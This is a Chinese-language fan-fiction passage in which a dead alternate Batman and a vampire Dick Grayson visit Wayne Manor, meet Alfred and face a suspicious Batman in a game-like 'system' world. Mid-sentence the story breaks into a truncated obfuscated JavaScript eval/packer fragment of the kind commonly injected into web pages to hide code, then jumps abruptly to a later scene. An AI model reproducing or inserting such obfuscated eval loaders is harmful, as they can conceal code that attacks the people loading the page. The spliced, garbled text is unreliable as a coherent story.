“天呐，布鲁斯……”迪克捂着嘴，没等他思考好我是谁我在哪里我要干嘛的哲学三连问，你又在对这具尸体上下其手摸来摸去，手感紧实，可惜已经死了，腹肌Q爽弹牙，肉质鲜美，可惜已经死了，毫无疑问，在这里挂着当熏肉已经得有个好多天了。 “嗯？”你摸完才看迪克，“迪克，你现在是吸血鬼。没事别去晒日光浴。” “你是在开玩笑么？B？” “我从来不开玩笑。” 你头也不回地走着。迪克就跟在后面。他已经习惯养父的第二个蝙蝠人格了，预兆是只要一出现蝙蝠侠就会犯病。 活动继承了副本小地图的优良传统，俗称没有小地图，你俩人没头苍蝇似乱窜，好在是回大本营了，韦恩庄园。 安德鲁·本奈特其人，身缠白色绷带大布，脸戴阳镜观六路听八方，活似隔壁木○伊片场金字塔里躺着的一比一复刻手办，看到了不说是缠上法老王的诅咒，就是借尸还魂也是没有，他在门厅一直徘徊，并非是为了思考人生，而是因为吸血鬼古老的传统，没有邀请根本进不来韦恩庄园。 阿福实在是没招了，每天举着一把芝加哥打字机，手臂也挺酸麻，希望能够真诚建议门厅上待着的隔着门板的兄弟，下回走哥谭下水道潜入蝙蝠洞，蝙蝠侠一般走特殊通道进蝙蝠洞，根本不会从大门进来，哪怕这是他本人自己的庄园，他穿上那身紧身衣后就算有大门，也会从不知道哪个地方反正不是大门进入。偷感极重。 安德鲁心有忌惮，一动都不敢动，这太阳也太大了，门里面是个Lv.99的管家侠，他打算在这儿等着蝙蝠侠回来，这感觉真的很奇妙，他像是个手捧圣杯的朝圣者，而圣殿的看门老大爷却是个时刻准备突突他的魔王。 安德鲁没招了，阿福也没招了，这不是他的待客之道，更何况举了那么久的芝加哥打字机，饶是老人家身子骨硬朗，也撑不住这么长时间。最后阿福还是让他进门了，但是很遗憾，蝙蝠侠并不在这里，安德鲁把血清和便签留给阿福，就打算继续往正义联盟那边赶。马上杀青了，他着急领盒饭。反正他这些年也是死了活，活了死，玛丽一朝死去，他所有的执念也就一并跟着转到为对方复仇和防止吸血鬼统治世界上去。这怒火烧灼自身，终会成为毁灭的源头。 你和迪克来得不早不晚，刚刚好在安德鲁跑路之后。韦恩庄园没有锁，有时阿福还得接待客人，是正常的接待，很少他会试图用火力迎接别人，但是对安德鲁这种种族独特的客人，势必小心小心再小心。不过有没有锁其实毫无必要去想，锁对你和现在的迪克来说简直就是小case，防不住你，防不住昨天被你喂了一整本如何撬锁的技能书的迪克。不过，之所以要回韦恩庄园，还是因为你们俩都不适合上街，太影响市容了。 尤其是你，你胸口上还有个大洞呢，虽然疼的不是你，是蝙蝠侠。但你发现这个大洞居然能用来存东西，立即把它当四次元口袋用，这下就不用一直往万能腰带里存了。 老管家阿尔弗雷德把你们迎接进来，谢天谢地，门终于找到了自己的用法，今天的窗户不会被光顾了。然而，还是那个大洞和朋克风黑大衣的事，他看看你——看看这个胸口漏风，还挂着马赛克血块儿的“布鲁斯老爷”，又看看穿着皮大衣，眼神清澈得像个大学生的迪克aka套皮但智商欠费の鬼王，不是那个浑身上下有五个大脑七个心脏的那个，是DC大战吸血鬼里的那个，陷入了沉思。 “这又是什么玩笑？布鲁斯老爷，我不记得万圣节晚会提前了。” “我们在进行万圣节的预演，嗯，就是这样。”迪克发现阿福似乎变得苍老了不少，脑门也是，比较稀疏。 有一个恐怖的预想在他的脑子里，告诉他，好吧，事情就是这个样子的。 而你，你沉浸在“不知道，蝙蝠侠的大洞很曼妙”的欣赏当中，立志成为蝙蝠全肯定bot，不过可能有点阴间，向下连接的是地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你等他蓄力半天结果他蹦出了这么一句话，确实把你镇住了，因为你也不知道自己是来这里干嘛的。天杀的活动剧情，连个任务指引都没有。 难道你还要伸出尔康手说一句“我不是来破坏这个家庭的，我是来加入这个家的”么？ 实在词穷了，你只好说一句，“我只是个路过的平平无奇的蝙蝠侠罢了。” 然后你发现你好像把天聊爆了。因为话音刚落，蹭蹭蹭，系统给你发了好几条消息。 [系统]「当前世界的布鲁斯·韦恩对您的怀疑度上升了↑」 [系统]「当前世界的布鲁斯·韦恩对您的怀疑度上升了↑」 [系统]「当前世界的布鲁斯·韦恩对您的怀疑度上升了↑」 可疑，实在太可疑了。蝙蝠侠本该马上ttk，制服眼前的这个家伙，还有旁边疑似叛逆了不知道多久的不知名迪克。面部肌肉的疑惑恰到好处，声音的语调语气也没有什么底气不足、外强中干的特点，但这些都可以伪造，他的直觉却又在反驳，恐怕眼前人真不知道自己是来干嘛的，他选择暂时静观其变，心里的小心思却早就飞到待会儿取证的步骤了。眼角余光看看，阿福已经悄摸把血清收了起来，蝙蝠侠虽然不知道安德鲁拜访的事情，但他还是能看出来的，那个多出来的东西很重要。以至于他不得不暂且表露出严峻的态度，用压力来把其他人的注意力转移。 “两个B？” 迪克看看自己的养父大洞版，又看了看这个世界的养父，心想这简直是地狱绘图。但殊不知，他自己也是地狱绘图的一部分。蝙蝠侠看到了自己同位体带着的伙伴夜翼，很明显的獠牙，很明显的红眼，很明显的翘臀，好吧，没有哪个反派能一比一复刻出来这个部位，所以这是个吸血鬼夜翼？ 蝙蝠侠以前和这种生物打过交道，对他们保持警惕心。他粗浅判断，单靠直觉来讲，这个看起来已经死了的自己，和吸血鬼夜翼，后者比前者带来的威胁可能要更大，但弱点也显而易见，需要木桩、大蒜和圣水，最直接的方法是一个阳光普照。或许他需要摇一个灯侠，因为安德鲁刚走不久，那大太阳立马晴转多云，躲进黑云里几乎看不见了，马上就要下雨。 蝙蝠侠忽而有种预感，宛如连锁反应般，既然不速之客其中一人是吸血鬼，或许，接下来的一系列事件也和吸血鬼有关。 事实证明，他想得真是一点儿不错。